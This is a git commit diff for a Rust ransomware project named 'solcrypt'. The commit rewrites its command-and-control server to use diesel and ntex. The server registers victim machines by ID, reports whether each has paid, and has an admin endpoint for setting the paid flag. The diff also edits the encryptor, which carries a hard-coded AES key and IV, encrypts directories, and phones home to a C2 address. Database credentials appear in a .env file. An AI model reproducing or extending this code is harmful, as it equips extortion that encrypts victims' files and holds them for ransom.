feat: c2 rewrite w/ diesel

This commit is contained in:
Xory 2024-07-27 20:26:57 +03:00
parent 201cf7d9a6
commit f10160ecd6
20 changed files with 1975 additions and 4714 deletions

2
.gitignore vendored
View file

@ -1,5 +1,3 @@
/target /target
/testfiles /testfiles
/server/target /server/target
/server/src/prisma.rs
/server/prisma/migrations/

1366
Cargo.lock generated

File diff suppressed because it is too large Load diff

View file

@ -4,14 +4,13 @@ version = "0.2.0"
edition = "2021" edition = "2021"
[[bin]] [[bin]]
name = "solcrypt_main" name = "encryptor"
path = "src/encrypt.rs" path = "src/encrypt.rs"
[[bin]] [[bin]]
name = "decryptor" name = "decryptor"
path = "src/decrypt.rs" path = "src/decrypt.rs"
[dependencies] [dependencies]
aes = "0.7.5" aes = "0.7.5"
block-modes = "0.8.1" block-modes = "0.8.1"

View file

@ -1,2 +0,0 @@
[alias]
prisma = "run --bin prisma --"

View file

@ -1,3 +1 @@
DATABASE_URL=postgres://postgres:KILLSECUBERALLEN@192.168.1.2:1488/postgre DATABASE_URL=postgres://postgres:5XmRxM7ShLOLRXVP@192.168.1.11:30841/postgres
PASSWORD=C2N1gh7W47ch-S0L####

4976
server/Cargo.lock generated

File diff suppressed because it is too large Load diff

View file

@ -4,9 +4,7 @@ version = "0.1.0"
edition = "2021" edition = "2021"
[dependencies] [dependencies]
actix-web = "4.8.0" diesel = { version = "2.2", features = [ "postgres" ] }
prisma-client-rust = { git = "https://github.com/Brendonovich/prisma-client-rust", tag = "0.6.11" } dotenvy = "0.15.7"
prisma-client-rust-cli = { git = "https://github.com/Brendonovich/prisma-client-rust", tag = "0.6.11" } ntex = { version = "2.0", features = [ "tokio" ] }
serde = "1.0.203" serde = "1.0.204"
tokio = "1.38.0"

9
server/diesel.toml Normal file
View file

@ -0,0 +1,9 @@
# For documentation on how to configure this file,
# see https://diesel.rs/guides/configuring-diesel-cli
[print_schema]
file = "src/schema.rs"
custom_type_derives = ["diesel::query_builder::QueryId", "Clone"]
[migrations_directory]
dir = "/home/xory/code/rs/solcrypt/server/migrations"

0
server/migrations/.keep Normal file
View file

View file

@ -0,0 +1,6 @@
-- This file was automatically created by Diesel to setup helper functions
-- and other internal bookkeeping. This file is safe to edit, any future
-- changes will be added to existing projects as new migrations.
DROP FUNCTION IF EXISTS diesel_manage_updated_at(_tbl regclass);
DROP FUNCTION IF EXISTS diesel_set_updated_at();

View file

@ -0,0 +1,36 @@
-- This file was automatically created by Diesel to setup helper functions
-- and other internal bookkeeping. This file is safe to edit, any future
-- changes will be added to existing projects as new migrations.
-- Sets up a trigger for the given table to automatically set a column called
-- `updated_at` whenever the row is modified (unless `updated_at` was included
-- in the modified columns)
--
-- # Example
--
-- ```sql
-- CREATE TABLE users (id SERIAL PRIMARY KEY, updated_at TIMESTAMP NOT NULL DEFAULT NOW());
--
-- SELECT diesel_manage_updated_at('users');
-- ```
CREATE OR REPLACE FUNCTION diesel_manage_updated_at(_tbl regclass) RETURNS VOID AS $$
BEGIN
EXECUTE format('CREATE TRIGGER set_updated_at BEFORE UPDATE ON %s
FOR EACH ROW EXECUTE PROCEDURE diesel_set_updated_at()', _tbl);
END;
$$ LANGUAGE plpgsql;
CREATE OR REPLACE FUNCTION diesel_set_updated_at() RETURNS trigger AS $$
BEGIN
IF (
NEW IS DISTINCT FROM OLD AND
NEW.updated_at IS NOT DISTINCT FROM OLD.updated_at
) THEN
NEW.updated_at := current_timestamp;
END IF;
RETURN NEW;
END;
$$ LANGUAGE plpgsql;

View file

@ -0,0 +1,2 @@
-- This file should undo anything in `up.sql`
DROP TABLE CLIENTS

View file

@ -0,0 +1,6 @@
-- Your SQL goes here
CREATE TABLE CLIENTS (
ID SERIAL PRIMARY KEY,
GID INTEGER NOT NULL,
PAID BOOLEAN NOT NULL DEFAULT FALSE
)

View file

@ -1,17 +0,0 @@
datasource db {
provider = "postgresql"
url = env("DATABASE_URL")
}
generator client {
provider = "cargo prisma"
output = "../src/prisma.rs"
}
model Client {
id String @id @unique
ip String
hostname String
paid Boolean
}

View file

@ -1,3 +0,0 @@
fn main() {
prisma_client_rust_cli::run();
}

14
server/src/lib.rs Normal file
View file

@ -0,0 +1,14 @@
pub mod models;
pub mod schema;
use diesel::pg::PgConnection;
use diesel::prelude::*;
use dotenvy::dotenv;
use std::env;
pub fn establish_connection() -> PgConnection {
dotenv().ok();
let database_url = env::var("DATABASE_URL").expect("DATABASE_URL not found");
PgConnection::establish(&database_url)
.unwrap_or_else(|_| panic!("Error connecting to DB"))
}

View file

@ -1,134 +1,103 @@
use actix_web::{dev::ServiceRequest, get, http::header, post, web, App, HttpResponse, HttpServer, Responder}; pub mod models;
use prisma_client_rust::PrismaClient; pub mod schema;
use serde::Deserialize;
use tokio::fs::File; use ntex::web::{ App,
use tokio::io::AsyncReadExt; HttpServer,
#[allow(unused, dead_code)] HttpResponse,
mod prisma; Responder,
get,
post };
use ntex::web;
use diesel::prelude::*;
use server::establish_connection;
use serde::{ Serialize,
Deserialize };
#[derive(Serialize, Deserialize)]
pub struct ClientPaymentStatusRequest {
pub pw: String,
pub target_gid: i32,
pub set_paid: bool
}
#[get("/")] #[get("/")]
async fn index() -> impl Responder { pub async fn hello() -> impl Responder {
"HAAAAIIII :33" HttpResponse::Ok().body("hai")
} }
#[derive(Deserialize)] #[post("/clients/{id}/register")]
struct ClientRegisterRequest { pub async fn register_client(path: web::types::Path<i32>) -> impl Responder {
ip: String, use self::models::NewClient;
hostname: String use crate::schema::clients;
let connection = &mut establish_connection();
let new_client = NewClient { gid: *path };
diesel::insert_into(clients::table)
.values(&new_client)
.returning(self::models::Client::as_returning())
.get_result(connection)
.expect("Error registering client");
HttpResponse::Ok().body("OK")
} }
#[derive(Deserialize)] #[get("/client/{id}/status")]
struct SetClientPaidRequest { password: String } pub async fn check_client_status(path: web::types::Path<i32>) -> impl Responder {
use self::schema::clients::dsl::*;
use self::models::*;
#[post("/client/register/{id}")] let req_gid: i32 = path.clone();
async fn register_client(path: web::Path<u32>, info: web::Json<ClientRegisterRequest>) -> impl Responder { let connection = &mut establish_connection();
let db_client = match prisma::PrismaClient::_builder().build().await { let results: Vec<Client> = match clients
Ok(client) => client, .filter(gid.eq(req_gid))
Err(err) => { .limit(1)
eprintln!("Error building Prisma Client: {:?}", err); .load(connection) {
return HttpResponse::InternalServerError().body("Internal Server Error"); Ok(vec) => vec,
} Err(..) => {
};
let client = match db_client.client().create(
format!("client_{}", path),
info.ip.to_string(),
info.hostname.to_string(),
false,
vec![]
).exec().await {
Ok(client) => client,
Err(err) => {
eprintln!("Error building Prisma Client: {:?}", err);
return HttpResponse::InternalServerError().body("Internal Server Error");
}
};
HttpResponse::Ok().json(client)
}
#[get("/client/{id}/ispaid")]
async fn get_client_payment(path: web::Path<u32>) -> impl Responder {
let db_client = match prisma::PrismaClient::_builder().build().await {
Ok(client) => client,
Err(err) => {
eprintln!("Error building Prisma Client: {:?}", err);
return HttpResponse::InternalServerError().body("Internal Server Error");
}
};
let client = match db_client.client()
.find_unique(prisma::client::id::equals(path.to_string()))
.exec()
.await
.unwrap() {
Some(client) => client,
None => {
eprintln!("Couldn't find client");
return HttpResponse::NotFound().body("Not Found"); return HttpResponse::NotFound().body("Not Found");
} }
}; };
HttpResponse::Ok().body(client.paid.to_string()) let ispaid = results[0].paid;
HttpResponse::Ok().body(format!("Paid: {}", ispaid))
} }
#[post("/client/{id}/setpaid")] #[post("/admin/client/setstatus")]
pub async fn set_client_paid(path: web::Path<String>, info: web::Json<SetClientPaidRequest>) -> impl Responder { pub async fn set_client_status(body: ntex::web::types::Json<ClientPaymentStatusRequest>) -> impl Responder {
use crate::schema::clients::dsl::clients;
use crate::schema::clients::{gid, paid};
use crate::models::Client;
let mut dotenv = File::open(".env").await.unwrap(); let pw = "ToBeReplacedByBuildScript";
let mut dotenv_contents = String::new(); if body.pw == pw {
match dotenv.read_to_string(&mut dotenv_contents).await { let connection = &mut establish_connection();
Ok(result) => result, let results = diesel::update(&clients.filter(gid.eq(body.target_gid))
Err(err) => { .first::<Client>(connection)
eprintln!("Encountered error: {:?}", err); .expect("Client not found"))
return HttpResponse::InternalServerError().body("Internal Server Error"); .set(paid.eq(body.set_paid))
}, .get_result::<Client>(connection)
}; .expect("Could not update Client");
let password = dotenv_contents return HttpResponse::Ok().json(&results);
.lines() } else {
.filter(|line| line.starts_with("PASSWORD=")) return HttpResponse::Unauthorized().body("Invalid Password")
.next() }
.unwrap()
.split("=")
.last()
.unwrap(); // don't shout at me for the unwraps, your goddamn fault if you fucked the .env
// file
if path.to_string() != password { return HttpResponse::Forbidden().body("Forbidden") }
let db_client = match prisma::PrismaClient::_builder().build().await {
Ok(client) => client,
Err(err) => {
eprintln!("Error creating Prisma Client: {:?}", err);
return HttpResponse::InternalServerError().body("Internal Server Error");
},
};
let mut client = match db_client
.client()
.find_first(vec![prisma::client::id::equals(path.to_string())])
.exec()
.await
.unwrap() {
Some(client) => client,
None => {
eprintln!("Couldn't find client!");
return HttpResponse::NotFound().body("Not Found");
},
};
client.paid = true;
HttpResponse::Ok().body("Ok")
} }
#[actix_web::main]
pub async fn main() -> std::io::Result<()> { #[ntex::main]
async fn main() -> std::io::Result<()> {
HttpServer::new(|| { HttpServer::new(|| {
App::new() App::new()
.service(hello)
.service(register_client)
.service(check_client_status)
.service(set_client_status)
}) })
.bind("127.0.0.1:8080")? .bind(("127.0.0.1", 8080))?
.run() .run()
.await .await
} }

17
server/src/models.rs Normal file
View file

@ -0,0 +1,17 @@
use diesel::prelude::*;
use serde::Serialize;
#[derive(Queryable, Selectable, diesel::Identifiable, Serialize)]
#[diesel(table_name = crate::schema::clients)]
#[diesel(check_for_backend(diesel::pg::Pg))]
pub struct Client {
pub id: i32,
pub gid: i32,
pub paid: bool
}
#[derive(Insertable)]
#[diesel(table_name = crate::schema::clients)]
pub struct NewClient {
pub gid: i32
}

9
server/src/schema.rs Normal file
View file

@ -0,0 +1,9 @@
// @generated automatically by Diesel CLI.
diesel::table! {
clients (id) {
id -> Int4,
gid -> Int4,
paid -> Bool,
}
}

View file

@ -13,7 +13,7 @@ use std::fs;
use std::io::{Read, Write}; use std::io::{Read, Write};
use std::error::Error; use std::error::Error;
use std::str::{self, FromStr}; use std::str::{self, FromStr};
use reqwest::blocking::Request; use reqwest::blocking::{Client, Request};
type Aes256Cbc = Cbc<Aes256, Pkcs7>; type Aes256Cbc = Cbc<Aes256, Pkcs7>;
@ -21,6 +21,7 @@ type Aes256Cbc = Cbc<Aes256, Pkcs7>;
const KEY: &[u8] = b"kYmfk8pkMkgR9nj3EQ4x0JuJn6Qwq0cQ"; const KEY: &[u8] = b"kYmfk8pkMkgR9nj3EQ4x0JuJn6Qwq0cQ";
const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA const IV: &[u8] = b"unique_initializ"; // IV should be 16 bytesA
const C2ADDR: &str = "c2serveraddr"; const C2ADDR: &str = "c2serveraddr";
const GID: i32 = 4444;
fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> { fn encrypt_file(input_path: &str, output_path: &str) -> Result<(), Box<dyn Error>> {
@ -99,7 +100,8 @@ pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
} }
pub fn register() -> Result<(), Box<dyn Error>> { pub fn register() -> Result<(), Box<dyn Error>> {
let c2_register_url = format!("http://{C2ADDR}/client/register"); let client = Client::new();
let _register_reqwest = Request::new(reqwest::Method::POST, reqwest::Url::from_str(&c2_register_url)?); let url = format!("https://{C2ADDR}/client/{GID}/register");
client.post(url).send()?;
Ok(()) Ok(())
} }